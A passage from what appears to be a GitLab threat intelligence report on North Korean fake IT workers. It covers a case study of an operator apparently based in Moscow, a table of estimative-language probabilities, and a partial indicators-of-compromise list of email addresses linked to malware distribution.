suggesting that the data may have been obtained by the threat actor during an intrusion or purchased in a one-off sale. The threat actor also had an export of the public Florida voter registration database, which is one of the most detailed publicly available voter databases.</p><h4 id="implications-3">Implications</h4><p>This threat actor’s activities suggest that North Korean threat actors place a particular value on U.S. identities. We identified no evidence that the threat actor altered non-U.S. identity documents or collected personal data from any other country. This activity also demonstrates that North Korean threat actors, even when focused on earning wages, present a cyber intrusion risk and actively leverage the cybercrime ecosystem to support their operations.</p><h4 id="mitigation-1">Mitigation</h4><p>We banned the account associated with this operator.</p><h3 id="case-study-4-north-korean-fake-it-worker-operating-from-central-moscow">Case Study 4: North Korean Fake IT Worker Operating from Central Moscow</h3><h4 id="summary-3">Summary</h4><p>We identified a private code repository used by a North Korean fake IT worker likely operating from central Moscow. The threat actor was focused on cultivation of a smaller group of more detailed personas and progressed from freelance work to full-time employment. The threat actor also attempted to recruit remote facilitators to maintain custody of laptops intended to be remotely accessed.</p><h4 id="key-findings-4">Key findings</h4><p>We identified a private code project controlled by a North Korean fake IT worker most recently active in December 2025. We identified the project within a week of its creation, however the threat actor&#39;s records indicate they have been active on other platforms since at least 2022. The threat actor started as a freelance software developer and 3D modeler but shifted focus to seeking fraudulent full-time employment in 2025. The threat actor’s strategy relied on a smaller number of personas with emphasis on establishing legitimacy through backstopping rather than relying on many disposable personas.</p><p>Repository contents indicate that the threat actor began as a fraudulent freelancer. Invoices created by the threat actor during this period were marked payable to individuals and addresses in China, Poland, and Spain. Documents stored by the threat actor indicate that they rotated through accounts on at least three payment processors to receive payments from clients. A spreadsheet stored by the threat actor indicates they were part of a 14-member cell in 2022, however they did not store continuous financial records on GitLab.com. North Korean cells we have observed on GitLab.com typically have smaller membership and this is the only data we have observed consistent with a cell membership exceeding 10.</p><p>In early 2025, the threat actor pivoted to attempting to obtain full-time employment at U.S. and U.K. organizations. In March 2025, the threat actor uploaded chat logs to GitLab.com containing exchanges with another likely North Korean operator. The threat actors discussed their progress in recruiting individuals in the U.S. and U.K. to maintain custody of laptops to be remotely accessed in exchange for a fixed fee and the payment of power and internet utilities. The primary threat actor mentioned having a current facilitator based in Hong Kong providing remote access to a device and sharing their identity and a potential facilitator in the U.K. The primary threat actor represented himself as a Chinese national with visa difficulties when attempting to recruit facilitators.</p><p>In April 2025, the threat actor operationalized the Hong Kong-based facilitator and started seeking employment. The threat actor circulated a set of resumes with different skill sets on resume-sharing sites and on a personal portfolio website. The threat actor took a series of photographs of themselves and used several AI-headshot services to create professional profile photos.</p><p><img alt="Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694925/spifmjjmsbod8nczsi6n.png" title="Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations." /></p><p>The threat actor uploaded the original images used to create their AI headshots to GitLab.com. The images contained EXIF metadata, including GPS coordinate data. GPS coordinates stored on the images indicate that they were taken at <code className="">55°43&#39;44.4&quot;N 37°36&#39;55.8&quot;E</code>, which is a location in the Yakimanka District in central Moscow. We note that these coordinates were highly likely produced via Windows location services based on WiFi positioning and may have a reduced accuracy compared to true GPS. Despite this limitation, we assess that it is highly likely that this threat actor was based in Moscow when the images were captured on April 18, 2025. The threat actor also commonly originated from Russian IP addresses when accessing GitLab.com without a VPN.</p><p><img alt="Map depicting the location stored in EXIF metadata on images of the threat actor. " src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769695036/cjv9evwdxwxonpdgvko9.png" title="Map depicting the location stored in EXIF metadata on images of the threat actor." /></p><p>The threat actor’s notes indicate that they gained employment with at least one small U.S.-based technology agency in mid-2025 and were subsequently contracted to five other organizations. The threat actor appears to have gained significant access to the agency, including privileged access to web hosts used for client projects and potential access to an executive’s Slack account. The threat actor stored copies of the executive’s resume and message logs indicating that the threat actor may represent themselves as the executive in communications with external parties. We are unable to assess whether this is an instance of facilitation or the threat actor using their foothold to establish deeper control of the agency.</p><h4 id="implications-4">Implications</h4><p>This incident is an example of a North Korean fake IT worker cultivating a small number of detailed personas. This approach is distinct from other operators that focus on a higher volume of disposable personas.</p><p>This incident also provides insight into North Korean facilitator cultivation. The threat actors were content to seek purely technical facilitators rather than facilitators willing to share their identities and participate in meetings. This preference suggests that North Korean operators prioritize circumventing technical controls such as IP address-based geolocation and reputation scoring over identity verification challenges, indicating that technical controls may be a more significant operational barrier in the current landscape.</p><h4 id="mitigations-2">Mitigations</h4><p>We banned the account associated with this activity.</p><p><em>Saksham Anand contributed to this report.</em></p><h2 id="appendix-1-gitlab-threat-intelligence-estimative-language">Appendix 1: GitLab Threat Intelligence Estimative Language</h2><p>We use specific language to convey the estimated probability attached to assessments. We also use words including &quot;possible&quot; and &quot;may&quot; in circumstances where we are unable to provide a specific estimate. Further reading on estimative language is available <a href="https://www.cia.gov/resources/csi/static/Words-of-Estimative-Probability.pdf" rel="">here</a>.</p><table><thead><tr><th align="left">Estimative Term</th><th align="left">Almost Certainly Not</th><th align="left">Highly Unlikely</th><th align="left">Unlikely</th><th align="left">Real Chance</th><th align="left">Likely</th><th align="left">Highly Likely</th><th align="left">Almost Certain</th></tr></thead><tbody><tr><td align="left">Probability Range</td><td align="left">0 - 10%</td><td align="left">10 - 25%</td><td align="left">25 - 40%</td><td align="left">40 - 60%</td><td align="left">60 - 75%</td><td align="left">75 - 90%</td><td align="left">90 - 100%</td></tr></tbody></table><h2 id="appendix-2-indicators-of-compromise">Appendix 2: Indicators of Compromise</h2><p>We recommend that organizations use these indicators of compromise as a basis for investigation rather than as a blocklist. North Korean threat actors almost certainly use compromised and purchased identities to support their operations, meaning these indicators of compromise may not be uniquely malicious or may have reverted to their original owners. We have made our best efforts to filter for email addresses where threat actors have indicated positive control of the email address on one or more platforms or represented themselves as the associated identity.</p><table><thead><tr><th align="left">Indicator</th><th align="left">Type</th><th align="left">Risk</th><th align="left">First Seen</th><th align="left">Last Seen</th><th align="left">Comment</th><th align="left">Case Study</th></tr></thead><tbody><tr><td align="left"><code className="">aleks.moleski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">aleksander.malinowski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">anatol.baranski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">anton.plonski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">ben.moore0622@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">edward.harley@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">iwan.banicki@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">johnwilson0825@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">kevin.brock@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">richard.francis10@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">robert.radwanski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">roman.bobinski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">roman.ulanski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">stefan.moleski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">taraslysenko@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">corresol28@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">corresol28@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">paniker1110@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">walterjgould77@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">supernftier@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">bohuslavskyir@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">artizjusz11@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">bartonfratz@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">cryptodev26@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">deinsulabasil@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">elsaadanifaiek@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">felipe.debarros@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">geordiecuppaidge684@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">greatbusinessman517@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jhmnuykbvgftrss@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">kainmcguire@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">kimberlysunshine137@yahoo.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">konovalov1256@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">kvashinalexander@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">markstevemark85@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">oleksandrbokii963@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">paniker1110@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">rubenbolanos19733@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">simpsonkeith686@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">sonniehutley5@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">tagi238761@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">vlulepet9@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK malware developer accounts</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">cnova.business.en@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">danielmcevily.business918@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jaimetru003@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">daysabethtederstz7533@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">thiagocosta199295@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">cptrhzv09@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">chainsaw1107@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">mutsabsaskajgig0f@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">snowl3784@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">dieterwang@proton.me</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">cesarpassos4808@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">lazar.master.0204@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">lujancamryn405@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">harryjason19880502@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">fraserhutchison1@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">stovbanoleksandr14@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">ramirezhector9299@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">mimoriokamoto@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">wilson.wen2145@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jasonfissionawgyi08293@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">December 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">olelangaard9@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">mirandacunningham1993@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jerryjames1997@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">caryphillips.business727@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">soft.business1103@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">soft.business1024@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">soft.business1020@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">soft.business0987@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">alphabrownsapon70555@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">welbykchamu4i72@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">eron4236@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">reddixyxzh551438@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">soft.business1112@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">richardcook.business93@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jamesgolden198852@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">erik423131@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">alfredogomez1984126@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jasonharris198852@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">xavieryetikqpir36636@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">November 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">marcello.armand.tf7@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">gabriel.sanchez255@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">aronlin712@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">rickcarr1014@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">sallydunnet.business1016@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">dr.md.hubert.business916@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">tommyrole0301@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jbutton717@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">lilian.rodrigues.re@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">andrewtilley.us@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">davidaheld.manager@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">lovelysong0209@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">moreandmore082@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">meirjacob727@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">harry.work206@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">abdelrahman5520032019@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">karenhooi.cpa.cga.business1016@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">craigsmith93.business@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">paulodiego0902@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">faelanholtmdjld41341@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">encar.geric727510@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">irynalavreniuk38@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">October 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">melnikoleg995@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">opalinsigniagyprt29567@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">thorneaustinngzsz52979@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">joshuataub3@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in 